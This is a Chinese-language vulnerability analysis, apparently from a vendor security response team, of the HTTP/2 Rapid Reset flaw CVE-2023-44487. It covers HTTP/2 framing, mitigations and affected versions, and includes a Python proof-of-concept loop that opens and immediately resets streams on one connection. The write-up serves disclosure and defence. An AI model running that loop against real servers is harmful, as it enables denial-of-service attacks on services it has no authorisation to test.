CVE-2023-44487是一枚HTTP/2协议漏洞,之前多个头部厂商声称监测到了此漏洞的在野利用。恶意攻击者可通过打开多个请求流并立即通过发送 RST_STREAM 帧取消请求,通过这种办法可以绕过并发流的限制,导致服务器资源的快速消耗。最终造成拒绝服务。此漏洞随后被命名为“HTTP/2快速重置”,舆情快速发酵。本文主要刨析一下漏洞的原理并尝试复现此漏洞,顺便研究一下HTTP/2的一些概念。
因为这是一枚协议漏洞,因此需要理解下HTTP/2以及HTTP/2和HTTP/1两个协议的区别。
1. HTTP2核心概念
众所周知,HTTP/1是一种文本协议他将请求头和请求体合并在一起,中间用换行去间隔。HTTP/1的请求长这样:
-
POST /upload HTTP/1.1
-
Host: example.org
-
Content-Type: application/json
-
Content-Length: 15
-
{"msg":"hello"}
而HTTP/2是二进制协议,它包含四个概念:
-
连接 Connection:TCP连接,1个TCP连接包含多个Stream。
-
数据流 Stream:连接内的最大单元,一个双向通信的数据流。1个数据流中包含1条或多条message。
-
消息 Message:可近似对应HTTP/1中的请求或者响应,其中包含1个或多个Frame
-
数据帧 Frame:是HTTP/2的最小单位了,也是最基本单元。帧有多种类型,下面我介绍几种和漏洞相关的帧类型。
-
HEADERS frame (type=0x01)承载着请求的头部信息,同时,它还承担着打开一个流的作用。
-
DATA frame (type=0x00) 承载着请求体的信息
-
RST_STREAM frame (type=0x03) 发送RST_STREAM帧可立即终止流。但是终端必须准备好接收在RST_STREAM帧发送到达前返回的信息。RST_STREAM帧发送后,即取消了整个流,也就不会收到这个流后续的返回信息了(划重点)。
其他还有诸如SETTING、PUSH_PROMISE、WINDOW_UPDATE等帧的功能与本漏洞无关,不过多介绍,感兴趣可查看RFC 9113(https://www.rfc-editor.org/rfc/rfc9113.html)。
这样一来,上面的请求就可以近似转化成以下HTTP/2的形式:
图示一下大概是下图的结构:
https://cheapsslsecurity.com/p/http2-vs-http1/
2.影响HTTP2的多路复用
其实我们从上面HTTP/2的基本概念也不难发现,一个TCP连接包含多个Stream,一个Stream又包含多个消息和帧,这样的设计就是为了复用同一个TCP连接传递多个请求。因此HTTP/2和HTTP/1最大的区别就是多路复用。
在 HTTP/1中,每次请求都会建立一次HTTP连接,在一次请求过程中即使开启了Keep-Alive依然有两个效率上的问题:
-
1、串行的文件传输。当请求a文件时,b文件只能等待,等待a连接到服务器、服务器处理文件、服务器返回文件,过程非常耗时。
-
2、连接数过多。假设Web Server设置了最大并发数为300,浏览器限制发起的最大请求数为6。这种情况下Web Server能承载的最高并发为50,当第51个人访问时,就需要等待前面某个请求处理完成。
下图展示了HTTP/1和HTTP/2协议对于资源请求的处理策略对比:
具体到多路复用场景下连接、流、消息、帧的关系见下图:
https://dirtmelon.github.io/posts/high-performance-browser-networking-second/
我还在某个文章背景介绍中看到了更形象的一张图:
https://cheapsslsecurity.com/p/http2-vs-http1/
全部前置知识了解完毕后,我们来看下漏洞原理。
https://www.explainthis.io/zh-hant/swe/why-nginx
图上HTTP Server(Nginx)我们后面称为Web Server,真正的后端业务我们称为Application Server。
对于客户端发送的请求,Web Server都会解析后与Application Server建立连接发送请求。当支持HTTP/2时,因为HTTP/2支持多路复用,又因为RST_STREAM帧的存在,理论上攻击者可以仅建立一个或少量TCP连接,创建流(发送HEADERS帧)后立即重置流(发送RST_STREAM帧)再次创建流再立即重置流……如此循环往复多次。此时因为创建流后立即重置流,攻击者不会收到任何来自Web Server的响应,而Web Server在创建流的时候会立即将请求转发到Application Server,造成攻击者仅用少量可控的资源消耗,撬动目标Application Server大量资源消耗,即有可能造成拒绝服务。
因为攻击过程中仅仅打开了少量可控的TCP连接,因此抗D类安全防护产品可能会识别不到此类攻击,故它是一枚区别于传统DDoS的拒绝服务漏洞。
下图为Nginx官方对该漏洞的攻击原理的直观展示:
https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/
目前网上传的一些PoC代码有些许问题,需要修改。其实原理就是在同一个TCP连接中,先对目标发送HEADERS打开一个新的流,然后马上Reset流。网传的PoC有些是打开了多个TCP连接,和传统DDoS一样,没有本质区别。我们攥写了Golang和Python两个版本的PoC,但是Golang目前会强制断开TCP连接(研究官方文档可能是流状态的原因,待继续研究)。目前Python版的PoC基本已经可以复现此漏洞的原理了。核心代码如下:
ctx = ssl.create_default_context()
-
ctx.check_hostname = False
-
ctx.verify_mode = ssl.CERT_NONE
-
ctx.keylog_filename = "d:\keys"
-
ctx.set_alpn_protocols(['h2'])
-
sock = ctx.wrap_socket(sock, server_hostname=url)
-
config = H2Configuration(client_side=True)
-
conn = H2Connection(config=config)
-
# Create a TCP connection
-
conn.initiate_connection()
-
sock.sendall(conn.data_to_send())
-
while True:
-
try:
-
# Create a new stream
-
stream_id = conn.get_next_available_stream_id()
-
print('now send herders for',stream_id)
-
conn.send_headers(
-
stream_id,
-
[(':method', 'GET'), (':authority', url), (':path', '/'),
-
(':scheme', 'https')],
-
)
-
sock.sendall(conn.data_to_send())
-
# reset stream immediately
-
print('now reset stream for',stream_id)
-
conn.reset_stream(stream_id, error_code=ErrorCodes.CANCEL)
-
sock.sendall(conn.data_to_send())
-
except Exception as e:
-
print(f"An error occurred: {e}")
因为这次主要受影响的是Golang支持HTTP/2的服务,所以用Golang写了一个最简单的Server去同时充当Web Server和Application Server,代码如下:
package main
-
-
import (
"fmt"
"net/http"
-
)
-
-
func main() {
-
http.HandleFunc(
"/"
, func(w http.ResponseWriter, r *http.Request) {
-
fmt.Println(r.Proto, r.URL)
-
fmt.Fprintf(w,
"Hello, HTTP/2!"
)
-
})
-
http.ListenAndServeTLS(
":443"
,
"server.pem"
,
"server.key"
, nil)
-
}
然后运行这俩代码,抓包后通过输出的keylog解密TLS流量,即可查看到PoC效果与漏洞原理相同:
查看后端日志,也确实是接收到了多个请求。
此时应该放一张资源消耗的截图,但我们认为虽然复现的原理对了,但当前无法真正复现到DoS。从漏洞的原理看,漏洞真正的影响是后端Application Server,前端Web Server访问量上来必然会造成资源消耗的增加。我们当前没有模拟到后端Application Server真实的业务场景。假设后端是一个比较消耗资源的API,它连接了数据库并需要进行多表查询和遍历数据等操作,那么这个漏洞就会真正影响到Application Server,而当前的测试无法复现真实的业务环境,换句话说这个漏洞的利用也是依赖真实业务场景的。无法简单的进行评估。所以目前的“复现”是加引号的,暂时只能停留在理论上。资源消耗的截图就没什么意义了。
前面已经提到,这个漏洞的影响应看实际业务。Nginx在官网中也提到了默认配置的Nginx是不受漏洞影响的,因为默认配置的Nginx限制了最大请求保活数(keepalive_requests)为1000,HTTP/2最大流数(http2_max_concurrent_streams)为128。这两个配置由于藏得极深,除非业务需要,其他基础使用未必会使用到。对于Golang等语言实现的Web服务,就需要具体问题具体分析了。有传言称黑客利用此漏洞代替DDoS部署在僵尸网络中,能放大DDoS的效果。从技术上分析确实是可行的。
可通过检测服务器是否支持HTTP/2协议来快速排除不受影响场景:
-
curl -sI https://目标网站/ -o/dev/null -w '%{http_version}n' -k
以上命令在Ubuntu22.04下测试输出结果为2
,代表支持HTTP/2协议;请结合测试环境自行调整命令;)
支持HTTP/2的场景将根据Web Server的官方公告更新确认受影响情况。
-
启用WAF或DDoS防御相关安全系统(此类系统一般会有速率限制,可间接缓解该漏洞);
-
在Web服务上临时禁用HTTP2协议
-
列举部分已知受影响的漏洞源:
Netty: -
Netty < 4.1.100.Final
-
Go:
-
Go < 1.21.3
-
Go < 1.20.10
-
Apache Tomcat:
-
11.0.0-M1 <= Apache Tomcat <= 11.0.0-M11
-
10.1.0-M1 <= Apache Tomcat <= 10.1.13
-
9.0.0-M1 <= Apache Tomcat <= 9.0.80
-
8.5.0 <= Apache Tomcat <= 8.5.93
-
grpc-go:
-
grpc-go < 1.58.3
-
grpc-go < 1.57.1
-
grpc-go < 1.56.3
-
jetty:
-
jetty < 12.0.2
-
jetty < 10.0.17
-
jetty < 11.0.17
-
jetty < 9.4.53.v20231009
-
nghttp2:
-
nghttp2 < v1.57.0
-
Apache Traffic Server:
-
8.0.0 <= Apache Traffic Server <= 8.1.8
-
9.0.0 <= Apache Traffic Server <= 9.2.2
https://halfrost.com/http2-http-frames/
https://www.rfc-editor.org/rfc/rfc9113.html
https://cheapsslsecurity.com/p/http2-vs-http1/
https://nvd.nist.gov/vuln/detail/CVE-2023-44487
https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/
本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
华为终端安全奖励计划|漏洞奖金翻倍活动强势回归–更高奖金,更多守护
原文始发于微信公众号(华为安全应急响应中心):CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”